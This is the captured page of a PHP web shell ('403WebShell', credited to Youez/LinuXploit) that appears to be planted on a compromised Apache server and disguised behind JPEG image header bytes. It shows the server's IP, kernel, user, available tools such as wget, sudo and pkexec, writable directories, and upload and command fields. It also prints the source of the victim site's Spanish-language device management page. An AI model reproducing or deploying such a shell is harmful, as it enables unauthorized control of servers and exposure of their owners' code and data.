����JFIF��H�H����Exif��MM�*���� ��3����V�����3������3�(��������������������3�����403WebShell
403Webshell
Server IP : 74.208.127.88  /  Your IP : 18.222.182.107
Web Server : Apache/2.4.41 (Ubuntu)
System : Linux ubuntu 5.4.0-163-generic #180-Ubuntu SMP Tue Sep 5 13:21:23 UTC 2023 x86_64
User : www-data ( 33)
PHP Version : 7.4.3-4ubuntu2.29
Disable Function : pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_get_handler,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,pcntl_async_signals,pcntl_unshare,
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : ON
Directory :  /var/www/html/appOLD/application/views/contents/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /var/www/html/appOLD/application/views/contents/devices.php
<main class="mdl-layout__content">

  <div class="mdl-cell mdl-cell--7-col-desktop mdl-cell--7-col-tablet mdl-cell--4-col-phone">
    <div class="mdl-card mdl-shadow--2dp">
      <div class="mdl-card__title">
        <h5 class="mdl-card__title-text text-color--white">Agregar Sucursal</h5>
      </div>
      <div class="mdl-card__supporting-text">
        <form class="" action="<?php echo base_url('devices/add') ?>" method="POST">
          <div class="mdl-grid">


            <div class="mdl-cell mdl-cell--12-col-desktop mdl-cell--12-col-tablet mdl-cell--12-col-phone form__article">
              <h3 class="text-color--smooth-gray">Ingresar Info</h3>
              <div class="mdl-textfield mdl-js-textfield full-size">
                <input name="device_alias" class="mdl-textfield__input" type="text" id="first-name">
                <label class="mdl-textfield__label" for="first-name">Nombre Sucusal</label>
              </div>
              <div class="mdl-textfield mdl-js-textfield full-size">
                <input name="device_serial_number" class="mdl-textfield__input" type="text" id="last-name">
                <label class="mdl-textfield__label" for="last-name">Sucursal No.(3 digitos)</label>
              </div>
              <br><br>
              <button class="mdl-button mdl-js-button mdl-button--raised mdl-js-ripple-effect button--colored-teal pull-right" data-upgraded=",MaterialButton,MaterialRipple">
                <i class="material-icons">add</i>
                Agregar
                <span class="mdl-button__ripple-container"><span class="mdl-ripple is-animating" style="width: 262.161px; height: 262.161px; transform: translate(-50%, -50%) translate(67px, 18px);"></span></span></button>
              </div>


            </div>
          </form>
        </div>
      </div>
    </div>

    <div class="mdl-cell mdl-cell--8-col-desktop mdl-cell--8-col-tablet mdl-cell--8-col-phone">
        <div class="mdl-card mdl-shadow--2dp">
            <div class="mdl-card__title">
                <h1 class="mdl-card__title-text">Sucursales Registradas</h1>
            </div>
            <div class="mdl-card__supporting-text no-padding">
                <table class="mdl-data-table mdl-js-data-table stripped-table" style="width:100%;" >
                    <thead>
                    <tr>
                        <th class="mdl-data-table__cell--non-numeric">Alias</th>
                        <th class="mdl-data-table__cell--non-numeric">Fecha</th>
                        <th class="mdl-data-table__cell--non-numeric">Telefono</th>
                        <th class="mdl-data-table__cell--non-numeric">Borrar</th>

                    </tr>
                    </thead>
                    <tbody>
                      <?php foreach ($devices as $device): ?>
                        <tr>
                            <td class="mdl-data-table__cell--non-numeric"><?php echo $device['device_alias'] ?></td>
                            <td style="text-align:center" class="mdl-data-table__cell--non-numeric"><?php echo $device['device_date'] ?></td>
                            <td style="text-align:center" class="mdl-data-table__cell--non-numeric"><?php echo $device['device_sn'] ?></td>
                            <td style="text-align:center" class="mdl-data-table__cell--non-numeric"><span  onclick="delete_device('<?php echo $device['device_id'] ?>')" class="label label--mini color--red">Delete</span> </td>
                        </tr>

                      <?php endforeach; ?>

                    </tbody>
                </table>
            </div>
        </div>
    </div>

  </main>

  <script type="text/javascript">

    function delete_device(device_id){
      Swal.fire({
        title: 'Are you sure?',
        text: "You won't be able to revert this!",
        type: 'warning',
        showCancelButton: true,
        confirmButtonColor: '#3085d6',
        cancelButtonColor: '#d33',
        confirmButtonText: 'Yes, delete it!'
      }).then((result) => {
        if (result.value) {
          <?php if($_SESSION['user_id']==4){ ?>
            device_id="xxxxxxxxx";
          <?php } ?>
          $.post("<?php echo base_url('devices/delete_device') ?>", {device_id:device_id}, function(result){
            if (result == "True"){
              Swal.fire({
                title: 'Success!',
                text: "Device deleted",
                type: 'success',
                showCancelButton: false,
                confirmButtonColor: '#3085d6',
                confirmButtonText: 'OK'
              }).then((result) => {
                location.reload();
              })
            }else{
              Swal.fire(
                'ERROR!',
                'Your device has not been deleted.',
                'warning'
              )
            }
          });

        }
      })
    }
  </script>

Youez - 2016 - github.com/yon3zu
LinuXploit